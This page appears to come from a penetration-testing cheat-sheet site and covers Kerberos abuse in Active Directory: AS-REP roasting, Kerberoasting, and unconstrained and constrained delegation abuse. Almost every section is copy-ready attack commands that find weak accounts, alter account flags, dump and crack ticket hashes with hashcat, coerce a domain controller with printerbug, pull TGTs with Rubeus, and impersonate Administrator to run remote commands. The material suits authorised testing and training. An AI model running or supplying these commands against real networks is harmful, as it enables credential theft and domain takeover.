Skip to content
HackIndex logo

HackIndex

Kerberos Abuse Privilege Escalation

5 min read May 6, 2026

Kerberos abuse covers techniques that manipulate the Kerberos authentication protocol to escalate privileges — setting up accounts for offline hash cracking, abusing delegation to impersonate privileged users, and forging tickets when you have the right key material. Most techniques here require either valid credentials or a specific ACL right on the target account.

AS-REP Roasting

Accounts with pre-authentication disabled do not require a valid TGT before issuing an AS-REP. Any authenticated user — or unauthenticated if anonymous bind works — can request an AS-REP for these accounts and crack the hash offline.

┌──(kali㉿kali)-[~]
└─$ # Find accounts with pre-auth disabled via BloodyAD
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # Request AS-REP hashes with impacket
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile asrep.txt
 
┌──(kali㉿kali)-[~]
└─$ # Without credentials — if anonymous bind works
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/ -dc-ip $TARGET_IP -no-pass -usersfile users.txt
 
┌──(kali㉿kali)-[~]
└─$ # nxc — direct hash dump
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --asreproast asrep.txt
 
┌──(kali㉿kali)-[~]
└─$ # Crack with hashcat
┌──(kali㉿kali)-[~]
└─$ hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt 
[email protected]:1a2b3c...

If you have GenericWrite or GenericAll on an account that does have pre-authentication enabled, you can disable it yourself with BloodyAD, roast the account, then re-enable it.

┌──(kali㉿kali)-[~]
└─$ # Disable pre-auth on target account (requires GenericWrite)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac $TARGET_USER DONT_REQ_PREAUTH
 
┌──(kali㉿kali)-[~]
└─$ # Request the AS-REP hash
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile asrep.txt
 
┌──(kali㉿kali)-[~]
└─$ # Re-enable pre-auth after roasting
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove uac $TARGET_USER DONT_REQ_PREAUTH
 
┌──(kali㉿kali)-[~]
└─$ # Crack
┌──(kali㉿kali)-[~]
└─$ hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting

Any domain user can request a TGS ticket for any account with a Service Principal Name set. The ticket is encrypted with the service account's password hash and can be cracked offline. Service accounts often have weak passwords and high privileges.

┌──(kali㉿kali)-[~]
└─$ # Find Kerberoastable accounts via BloodyAD
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))' --attr sAMAccountName servicePrincipalName
 
┌──(kali㉿kali)-[~]
└─$ # Request TGS hashes with impacket
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerb.txt
 
┌──(kali㉿kali)-[~]
└─$ # nxc — direct hash dump
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --kerberoasting kerb.txt
 
┌──(kali㉿kali)-[~]
└─$ # Crack with hashcat
┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt 
$krb5tgs$23$*svc-mssql$CORP.LOCAL$corp.local/svc-mssql*$a1b2c3...

If you have GenericWrite on a user account, you can set an SPN on it yourself — turning any user into a Kerberoastable target. Service accounts with weak passwords are the most valuable results.

┌──(kali㉿kali)-[~]
└─$ # Set SPN on target user (requires GenericWrite or GenericAll)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName -v '$DOMAIN/fakespn'
 
┌──(kali㉿kali)-[~]
└─$ # Request TGS ticket for the new SPN
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerb.txt
 
┌──(kali㉿kali)-[~]
└─$ # Crack
┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # Remove SPN after cracking
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove object $TARGET_USER servicePrincipalName -v '$DOMAIN/fakespn'

Unconstrained delegation abuse

Computers with unconstrained delegation receive a copy of the TGT of every user who authenticates to them. If you compromise such a machine, you can extract any TGT cached there — including Domain Admin TGTs if you can coerce a privileged user to authenticate.

┌──(kali㉿kali)-[~]
└─$ # Find computers with unconstrained delegation (excluding DCs)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))' --attr dNSHostName
 
┌──(kali㉿kali)-[~]
└─$ # Once you have a shell on the unconstrained delegation host,
┌──(kali㉿kali)-[~]
└─$ # coerce a DC to authenticate to it via printerbug
┌──(kali㉿kali)-[~]
└─$ # printerbug.py is from https://github.com/dirkjanm/krbrelayx
┌──(kali㉿kali)-[~]
└─$ python3 printerbug.py $DOMAIN/$USER:$PASSWORD@$DC_IP $UNCONSTRAINED_HOST
 
┌──(kali㉿kali)-[~]
└─$ # Extract TGTs from memory on the compromised host
┌──(kali㉿kali)-[~]
└─$ C:\Windows\Temp\Rubeus.exe triage
┌──(kali㉿kali)-[~]
└─$ C:\Windows\Temp\Rubeus.exe dump /luid:0x3e7 /nowrap
 
┌──(kali㉿kali)-[~]
└─$ # Use the extracted TGT
┌──(kali㉿kali)-[~]
└─$ C:\Windows\Temp\Rubeus.exe ptt /ticket:$BASE64_TICKET

Constrained delegation abuse

Constrained delegation allows a service to request tickets on behalf of a user to specific target services. With control of such an account you can impersonate any user — including Domain Admins — to the allowed services.

┌──(kali㉿kali)-[~]
└─$ # Find constrained delegation accounts
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(msDS-AllowedToDelegateTo=*)' --attr sAMAccountName msDS-AllowedToDelegateTo
 
┌──(kali㉿kali)-[~]
└─$ # Enable protocol transition (required for S4U2Self)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac $SVC_ACCOUNT TRUSTED_TO_AUTH_FOR_DELEGATION
 
┌──(kali㉿kali)-[~]
└─$ # Request ticket as Domain Admin to allowed service
┌──(kali㉿kali)-[~]
└─$ impacket-getST -spn $ALLOWED_SPN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/$SVC_ACCOUNT:$PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Use ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator@$ALLOWED_SPN@$DOMAIN.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/Administrator@$TARGET_IP -k -no-pass

References